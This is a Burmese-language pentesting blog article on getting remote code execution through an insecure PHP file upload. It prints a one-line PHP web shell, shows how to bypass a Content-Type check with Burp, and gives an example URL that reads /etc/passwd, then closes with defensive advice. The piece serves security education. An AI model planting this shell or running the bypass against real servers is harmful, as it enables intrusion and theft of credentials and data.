Back to articles
March 29, 20266 minsPentesting

File Upload ကနေ shell တက်သွားတဲ့ သဘောတရား (PHP)

Developer တော်တော်များများက ပုံတင်တဲ့ နေရာတွေမှာ `accept=".jpg,.png"` လောက်ပဲ စစ်လေ့ရှိပါတယ်။ ဒီဆောင်းပါးမှာ Backend ကို ဘယ်လို bypass လုပ်ပြီး RCE (Remote Code Execution) ရယူလဲဆိုတာ ရေးထားပါတယ်။

Web application တွေကို pentest လုပ်တဲ့အခါ အကြိုက်ဆုံး vulnerability က File upload နေရာတွေပါပဲ။ ဘာလို့လဲဆိုတော့ File upload နေရာကနေ Shell ရသွားရင် အဲ့ဒီ server တစ်ခုလုံးကို ကိုယ့်စက်လိုမျိုး control လုပ်လို့ ရသွားတတ်လို့ပါ။

အဖြစ်များတဲ့ အမှားများ (Developer ဘက်က)

HTML form ထဲမှာ input type="file" accept="image/png, image/jpeg" ဆိုပြီး ရေးထားတယ်။ ဒါဟာ User Error မဖြစ်အောင် Browser ဘက်က တားပေးတာပဲ ရှိပါတယ်။ Burp Suite လို Proxy သုံးပြီး လမ်းခုလတ်ကနေ request ကို edit လုပ်လိုက်ရင် ဒီ frontend validation က ဘာမှ အလုပ်မလုပ်တော့ပါဘူး။

Bypass လုပ်ပုံ အဆင့်ဆင့်

၁။ အရင်ဆုံး PHP backdoor လေးရေးမယ်။

php
<?php if(isset($_REQUEST['cmd'])){ system($_REQUEST['cmd']); } ?>

ဒီ code ကို backdoor.php ဆိုပြီး save မယ်။

၂။ backdoor.php ကို normal upload တင်ကြည့်မယ်။ Backend က "Only images are allowed" ဆိုပြီး error ပြရင်၊ Content-Type ကို စစ်နေတာ ဖြစ်နိုင်တယ်။

၃။ Burp ဖွင့်မယ်။ upload လုပ်တဲ့ request ကို ဖမ်းမယ်။

Content-Type: application/x-php ကို Content-Type: image/jpeg အဖြစ် ပြင်လိုက်မယ်။

၄။ Upload successful ဖြစ်သွားရင်၊ အဲ့ဒီ file ရောက်သွားတဲ့ path ကို သွားရှာမယ် (ဥပမာ- /uploads/backdoor.php)။

Execution (RCE)

URL မှာ ဒီလိုလေး ရိုက်ထည့်လိုက်တာနဲ့-

https://target.com/uploads/backdoor.php?cmd=cat /etc/passwd

Browser ပေါ်မှာ Server ရဲ့ password file ကြီး အကုန်ထွက်လာပါလိမ့်မယ်။ Root folder ထဲက config file တွေ၊ DB passwords တွေ အကုန်လုံး အလွယ်တကူ ဆွဲထုတ်လို့ ရသွားပြီ။

ဘယ်လို ကာကွယ်မလဲ?

  • File extension ကို Backend ဘက်မှာ သေချာ whitelist လုပ်ပါ။
  • Content-Type ကို မယုံပါနဲ့။ File signature (magic bytes) ကို စစ်ပါ။
  • Upload directory ထဲမှာ PHP script တွေ execute လုပ်ခွင့် (execution permission) လုံးဝ မပေးပါနဲ့။ Nginx/Apache config ကနေ disable လုပ်ထားရပါမယ်။
  • File name ကို random string နဲ့ ပြောင်းသိမ်းပါ။ backdoor.php ဆို 1a2b3c.jpg လိုမျိုးပေါ့။

Continue Reading

More articles you might enjoy

SSRF ကနေတစ်ဆင့် AWS Server ကြီးတစ်ခုလုံး အသိမ်းခံရတဲ့အခါ (Cloud Security)
March 30, 20265 mins

SSRF ကနေတစ်ဆင့် AWS Server ကြီးတစ်ခုလုံး အသိမ်းခံရတဲ့အခါ (Cloud Security)

Cloud ပေါ်တင်ထားတဲ့ Web Application တစ်ခုမှာ SSRF (Server-Side Request Forgery) အားနည်းချက်ရှိနေရင်၊ EC2 Metadata Endpoint (169.254.169.254) ကနေ Admin Credentials တွေ ဘယ်လိုပါသွားတတ်လဲဆိုတာကို ရှင်းပြထားပါတယ်။

Read article
Internal Network ကြီးကို သိမ်းကျုံးခြင်း: Pass-the-Hash နှင့် Active Directory (Red Teaming)
April 5, 20267 mins

Internal Network ကြီးကို သိမ်းကျုံးခြင်း: Pass-the-Hash နှင့် Active Directory (Red Teaming)

ရုံးတွေ၊ ဘဏ်တွေ အများဆုံးသုံးတဲ့ Windows Active Directory Environment ကြီးမှာ၊ NTLM Hashes တွေကို ဖြတ်ခိုးပြီး တကယ့် Password မသိဘဲနဲ့တောင် Admin Server ထဲ ဝင်သွားနိုင်တဲ့ တိုက်ခိုက်မှုအကြောင်း Analysis ပါ။

Read article
DevSecOps: Pipeline တွေထဲမှာ လုံခြုံရေးကို အလုံပိတ်ထားခြင်း
April 2, 20266 mins

DevSecOps: Pipeline တွေထဲမှာ လုံခြုံရေးကို အလုံပိတ်ထားခြင်း

Developer တွေ Github ပေါ် Code တင်လိုက်တာနဲ့ Secrets တွေ (API Keys, Passwords) မတော်တဆ ပါသွားတာတွေ၊ Docker image မှာ Vulnerabilities တွေ ပါလာတာတွေကို CI/CD Pipeline ထဲမှာ Auto ဘယ်လို ဖမ်းမလဲဆိုတာ ပြထားပါတယ်။

Read article